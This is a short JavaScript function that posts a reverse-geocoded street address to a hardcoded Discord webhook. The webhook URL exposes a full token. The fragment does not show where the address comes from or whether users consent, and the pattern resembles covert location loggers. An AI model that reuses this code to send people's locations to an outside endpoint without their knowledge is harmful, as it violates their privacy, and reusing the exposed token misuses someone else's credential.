function sendAddressToDiscord(address) { const webhookUrl = 'https://discord.com/api/webhooks/1343372274815733871/D1Pz3ExqJ5bxSpdGYFgK9qPetfyA3-4u9MeBH33Hed5hIFQND9jUHa0K6oJ22jHoNml9'; const message = { content: `The reverse geocoded address is: ${address}` }; fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(message) }) .then(response => { if (!response.ok) { throw new Error(`Failed to send address to Discord. Status: ${response.status}`); } console.log("Address sent to Discord successfully."); }) .catch(error => { console.error('Error sending address to Discord:', error); }); }